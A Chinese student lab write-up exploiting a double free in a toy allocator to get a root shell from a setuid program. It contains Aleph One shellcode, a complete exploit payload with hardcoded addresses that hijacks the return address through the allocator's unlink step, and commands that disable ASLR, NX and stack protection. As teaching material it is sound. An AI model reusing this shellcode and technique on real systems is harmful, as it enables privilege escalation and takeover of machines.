最近在做缓冲区溢出实验,总共有6个
shellcode.h
shellcode的作用是运行一个/bin/sh
/*
* Aleph One shellcode.45个字节
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
源代码vul4.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include "tmalloc.h"
/*
* strlcpy() from OpenBSD-current:
* $OpenBSD: strlcpy.c,v 1.5 2001/05/13 15:40:16 deraadt Exp $
*
* Copy src to string dst of size siz. At most siz-1 characters
* will be copied. Always NUL terminates (unless siz == 0).
* Returns strlen(src); if retval >= siz, truncation occurred.
*
* HINT: This come from OpenBSD; there is no buffer overflow within
* this function; the bug is somewhere else ...
*/
static size_t
obsd_strlcpy(dst, src, siz)
char *dst;
const char *src;
size_t siz;
{
register char *d = dst;
register const char *s = src;
register size_t n = siz;
/* Copy as many bytes as will fit */
if (n != 0 && --n != 0) {
do {
if ((*d++ = *s++) == 0)//直到赋完值
break;
} while (--n != 0);
}
//在dst中没有足够的空间,添加NUL并遍历src的其余部分
/* Not enough room in dst, add NUL and traverse rest of src */
if (n == 0) {
if (siz != 0)//即为dst添加一个结尾
*d = '\0'; /* NUL-terminate dst */
while (*s++)//遍历完s
;
}
return(s - src - 1); /* count does not include NUL */
}
// 1、free只是释放了malloc所申请的内存,并不改变指针的值;
// 2、由于指针所指向的内存已经被释放,所以其它代码有机会改写其中的内容,相当于该指针从此指向了自己无法控制的地方,也称为野指针;
// 3、为了避免失误,最好在free之后,将指针指向NULL。
int foo(char *arg)//由上面的函数HINT可知,漏洞出于此
{
char *p;
char *q;
if ( (p = tmalloc(500)) == NULL)//p申请500的空间
{
fprintf(stderr, "tmalloc failure\n");
exit(EXIT_FAILURE);
}
if ( (q = tmalloc(300)) == NULL)//q申请300的空间
{
fprintf(stderr, "tmalloc failure\n");
exit(EXIT_FAILURE);
}
tfree(p);//释放掉p
tfree(q);//释放掉q
if ( (p = tmalloc(1024)) == NULL)//p申请1024的空间
{
fprintf(stderr, "tmalloc failure\n");
exit(EXIT_FAILURE);
}
obsd_strlcpy(p, arg, 1024);//将arg赋给p,此处没有溢出
tfree(q);//再一次释放q,出错,若覆盖了q原来的地址空间,则导致出错
//故而本次实验应该是利用tfee与tmalloc函数,达到溢出目的
return 0;
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target4: argc != 2\n");
exit(EXIT_FAILURE);
}
setuid(0);//设置UID为0
foo(argv[1]);
return 0;
}
攻击代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"
#define TARGET "/mnt/hgfs/sourcecode/proj1/vulnerables/vul4"
int main(void)
{
//覆盖原来q的分配地址则会导致溢出
char payload[1024];//q->s.l:504-508,q->s.r:508-512
memset(payload,'\x90',sizeof(payload));
memcpy(payload + 504,"\x68\xa0\x04\x08\x24\xfa\xff\xbf",8);
memcpy(payload + 32,shellcode,45);//存放shellcode
payload[4] = '\x1';//将p的右指针标记为空闲
payload[2] = '\xeb';
payload[3] = '\x0c';//jmp 偏移量为12个字节
payload[1023] = '\0';//结尾标志
char *args[] = { TARGET, payload , NULL};//定义运行参数
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}
简单原理说明
缓冲区溢出通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入的参数是否合法。
环境声明
LINUX 32位系统
本任务所以实验均在关闭ASLR、NX等保护机制的情况下进行:
- 关闭地址随机化功能:
echo 0 > /proc/sys/kernel/randomize_va_space2. - gcc编译器默认开启了NX选项,如果需要关闭NX(DEP)选项,可以给gcc编译器添加-z execstack参数。
gcc -z execstack -o test test.c - 在编译时可以控制是否开启栈保护以及程度,
gcc -fno-stack-protector -o test test.c //禁用栈保护
gcc -fstack-protector -o test test.c //启用堆栈保护,不过只为局部变量中含有char数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码
实验过程
本实验主要基于tmalloc.c中的函数进行,且在代码中的hint中已经指出不是obsd_strlcpy函数所导致的溢出,这样我们就锁定了目标。
-
确定溢出目标:
在foo()函数中,代码的执行逻辑顺序为:
p = tmalloc(500) ——> q = tmalloc(300) ——> tfree(p) ——> tfree(q)
p = tmalloc(1024) ——>obsd_strlcpy(p, arg, 1024) ——> tree(q)
很显然,q在第二次并没有分配空间,但是它却对q进行了一次free操作。
所以问题主要就出在第二次tfree的过程中:
-
分析tmalloc.c中的函数,并构造payload
A. 在tmalloc.c中,CHUNK结构体占8个字节(前4个字节为左指针,后4个字节为右指针,分别指向前后的块位置)
在块的r指针的低位部分存储块的状态,1为空闲,0为占用
SET_FREEBIT()函数为将块设置为空闲块
CLR_FREEBIT()函数为将块设置为占用块
GET_FREEBIT()函数为查看块是否为空闲块
RIGHT()函数为当块为空闲块时获取其r指针,即返回右节点
CHUNKSIZE()函数为当前连续空闲块的大小
TOCHUNK()函数为由指针返回CHUNK的头部
FROMCHUNK()函数为由CHUNK返回指针位置
ARENA_CHUNKS 为CHUNK的数目
arena[]为 每个CHUNK的空间
bot 为空间的底部
top 为空间的顶部
init()函数为初始化bot与top
tmalloc()函数用于分配指定大小的空闲空间,返回指针位置
tfree()函数用于释放空间
而分析的关键目标是tfree()函数:
tfree函数在读取到指定的块位置之后,类似于双向指针删除的操作:
先将current.right.left = current.left
再将current.left.right = current.right
B. 接下来我们来查看p与q分配到的地址:
由此我们可以知道,p分配到的地址起始位置为0x804a068,而q分配到的是位置为0x804a268,两者相差0x200即512个字节。
故而在第二次p申请了1024个字节的空间大小时,会覆盖到q的块内容。
由 TOCHUNK函数可知,该函数会获取对应地址 - 8个字节的地址位置(CHUNK块大小为8个字节),那么q所在的块信息就存储在0x804a268-8 = 0x804a260处
其中由CHUNK块结构易知:
前4个字节为左指针,后4个字节为右指针。
而后续参数会拷贝到p指向的空间中去,所以q的CHUNK结构即对应我们payload(输入参数)的504-512字节。
C. 构造返回地址:
首先我们知道我们的输入参数会拷贝到p指向的地址中,即0x804a068中去,所以我们的目标就是将返回地址修改为0x804a068。
而返回地址位于foo函数ebp(0xbffffa20)下方四个字节,即0xbffffa24:
于是,我们便确定了要修改的目标以及要修改的值,即将地址0xbffffa24中的内容修改为0x804a068.
而由上述tfree的步骤,我们可以将q的右节点设置为0xbffffa24,左节点设置为0x804a068,这样在进行tfree的时候,会经历如下步骤:
注: 我们将foo函数中的q视为current,则current.left指向0x804a068,current…right指向0xbffffa24,进入tfree函数后,有如下对应关系:
形参q为current.left,即指向 0x804a068 的CHUNK指针
形参p为current,即指向 0x804a268 的CHUNK指针
p->s.r即current.right,即指向 0xbffffa24 的CHUNK指针
p->s,r->s.l为current.right指向 p->s.l所指地址的CHUNK结构的前四个字节(左节点)的CHUNK指针,即位于地址0xbffffa24形参q 为curren.left指向0x804a068,即指向payload所在位置(foo函数中的p指针),为了能够执行第一个if语句中的内容(使形参p指向形参q,即current.right.left=current.left),我们需要将foo函数中p的free_bit置为1,即将payload的4-8个字节置为1(p的chunk结构的右节点位置)。
故而执行完毕此段代码后,会使得foo函数中的p指针的右节点(current.left.right 位于地址0x804a072 )指向0xbffffa24: 此处以及后续第二个if的内容可能会造成payload内容混乱,具体可参照后文方法解决
而p->s.r->s.l(即current.right.left)会指向地址0x804a068:- p->s.r->s.l所在的地址即0xbffffa24(形参p(current)的右节点所指向的地址为0xbffffa24,而0xbffffa24被视作chunk结构的起始位置,那么前4个字节即左节点,即0xbffffa24-0xbffffa28,恰好为返回地址的位置,故左节点(current.right.left)所在的地址即为0xbffffa24)
故执行p->s.r->s.l = q之后(修改指针指向,即修改了该指针所在地址内的值,故将p->s.r->s.l 指向q,即将p->s.r->s.l 所在地址0xbffffa24中的内容修改为q(current.left)所在的地址0x804a068),即覆盖了返回地址:
此时,已经成功修改了foo函数的返回地址。
D. payload构造结果:
注:身边有人反映单纯执行上述payload有可能跳转到不明区域:
首先利用disas反汇编0x804a068处的指令,可以看到的确出现了call指令(这可能导致跳转到错误的地点):
产生原因:
因为tfree同样会执行current.left.right=current.right的操作,所以payload所在的原右节点(payload的5-8个字节)可能会被赋成不明内容。
解决方法有两种:
1. 单纯将p所在chunk右节点的freebit即右节点的最低位置为1(小端,故修改payload的第5个字节):(本方法可能不适用于所有情况,是一种投机取巧的方式)
此时可以看到0x804a068处已经没有异常的call等指令了:
2. 第二种方法就是在入口点写入一个jmp指令(指令编码为\xeb),jmp指令后面跟着偏移量,最终会跳转到下条指令地址+偏移量的地址上去(本方法适用于所有情况):
故而最终直接跳过了foo函数中p指向的chunk结构的右节点内容,防止了不明指令的执行。
所以,更为完善的payload如下所示:
-
编译程序并执行,结果如下所示:
可见,成功执行了shellcode,溢出执行成功。
总结
出现漏洞的原因,是先为p与q均申请了一段空间,这样它们都得到了对应的指针值,而后释放后,又为p申请了1024的空间,并且可以覆盖到q原本的地址,这样我们利用覆盖的原本的q的空间,构造q的chunk,在之后进行tfree的时候,使得返回地址的内容修改为payload的基址,从而达到溢出目的
简而言之就是构造了个位于返回地址的指针,并通过tfree函数最终指向payload
附:tmalloc.h与tmalloc.c
tmalloc.h
/*
* Trivial malloc() implementation
*
* Inspired by K&R2 malloc() and Doug Lea malloc().
*/
void *tmalloc(unsigned nbytes);
void tfree(void *vp);
void *trealloc(void *vp, unsigned newbytes);
void *tcalloc(unsigned nelem, unsigned elsize);
tmalloc.c
/*
* Trivial malloc() implementation
*
* Inspired by K&R2 malloc() and Doug Lea malloc().
*/
#include <string.h>
#ifdef NULL /* these days, defined in string.h */
#undef NULL
#endif
#define NULL 0
/*
* the chunk header
*/
typedef double ALIGN;
typedef union CHUNK_TAG//大小为8个字节
{
struct
{
union CHUNK_TAG *l; /* leftward chunk */
union CHUNK_TAG *r; /* rightward chunk + free bit (see below) */
} s;
ALIGN x;
} CHUNK;
/*
* we store the freebit -- 1 if the chunk is free, 0 if it is busy --
* in the low-order bit of the chunk's r pointer.
* 1为空闲,0为占用,状态存储在低位块的r指针中
*/
/* *& indirection because a cast isn't an lvalue and gcc 4 complains */
#define SET_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r |= 0x1 )
#define CLR_FREEBIT(chunk) ( *(unsigned *)&(chunk)->s.r &= ~0x1 )
#define GET_FREEBIT(chunk) ( (unsigned)(chunk)->s.r & 0x1 )
/* it's only safe to operate on chunk->s.r if we know freebit
* is unset; otherwise, we use ... */
#define RIGHT(chunk) ((CHUNK *)(~0x1 & (unsigned)(chunk)->s.r))
/*
* chunk size is implicit from l-r
*/
#define CHUNKSIZE(chunk) ((unsigned)RIGHT((chunk)) - (unsigned)(chunk))
/*
* back or forward chunk header
*/
#define TOCHUNK(vp) (-1 + (CHUNK *)(vp))
#define FROMCHUNK(chunk) ((void *)(1 + (chunk)))
/* for demo purposes, a static arena is good enough. */
#define ARENA_CHUNKS (65536/sizeof(CHUNK))
static CHUNK arena[ARENA_CHUNKS];
static CHUNK *bot = NULL; /* all free space, initially */
static CHUNK *top = NULL; /* delimiter chunk for top of arena */
static void init(void)//初始化块,top为空间末尾标志块
{
bot = &arena[0]; top = &arena[ARENA_CHUNKS-1];
bot->s.l = NULL; bot->s.r = top;
top->s.l = bot; top->s.r = NULL;
SET_FREEBIT(bot); CLR_FREEBIT(top);
}
void *tmalloc(unsigned nbytes)
{
CHUNK *p;
unsigned size;
if (bot == NULL)//若尚未初始化,则初始化内存
init();
size = sizeof(CHUNK) * ((nbytes+sizeof(CHUNK)-1)/sizeof(CHUNK) + 1);
for (p = bot; p != NULL; p = RIGHT(p))//找到足够大的空闲块
if (GET_FREEBIT(p) && CHUNKSIZE(p) >= size)
break;
if (p == NULL)//没有足够空间
return NULL;
CLR_FREEBIT(p);//将找到的空间设为占用
if (CHUNKSIZE(p) > size)
/* create a remainder chunk
若空间分配的大了,则设置一个空闲块在中间截断*/
{
CHUNK *q, *pr;
q = (CHUNK *)(size + (char *)p);
pr = p->s.r;
q->s.l = p; q->s.r = pr;
p->s.r = q; pr->s.l = q;
SET_FREEBIT(q);
}
return FROMCHUNK(p);
}
void tfree(void *vp)
{
CHUNK *p, *q;
if (vp == NULL)
return;
p = TOCHUNK(vp);//找到要释放的空间的指针位置
CLR_FREEBIT(p);//将p中空闲块置为占用
q = p->s.l;//找到p的左指针
if (q != NULL && GET_FREEBIT(q)) /* try to consolidate leftward */
//若左节点有空闲空间,则将该段地址与p合并
{
CLR_FREEBIT(q);
q->s.r = p->s.r;
p->s.r->s.l = q;
SET_FREEBIT(q);
p = q;
}
q = RIGHT(p);//找到p的右节点
if (q != NULL && GET_FREEBIT(q)) /* try to consolidate rightward */
//此时若右节点有空闲空间,则将该段地址与p合并
{
CLR_FREEBIT(q);
p->s.r = q->s.r;
q->s.r->s.l = p;
SET_FREEBIT(q);
}
SET_FREEBIT(p);
}
void *trealloc(void *vp, unsigned newbytes)
{
void *newp = NULL;
/* behavior on corner cases conforms to SUSv2 */
if (vp == NULL)
return tmalloc(newbytes);
if (newbytes != 0)
{
CHUNK *oldchunk;
unsigned bytes;
if ( (newp = tmalloc(newbytes)) == NULL)
return NULL;
oldchunk = TOCHUNK(vp);
bytes = CHUNKSIZE(oldchunk) - sizeof(CHUNK);
if (bytes > newbytes)
bytes = newbytes;
memcpy(newp, vp, bytes);
}
tfree(vp);
return newp;
}
void *tcalloc(unsigned nelem, unsigned elsize)
{
void *vp;
unsigned nbytes;
nbytes = nelem * elsize;
if ( (vp = tmalloc(nbytes)) == NULL)
return NULL;
memset(vp, '\0', nbytes);
return vp;
}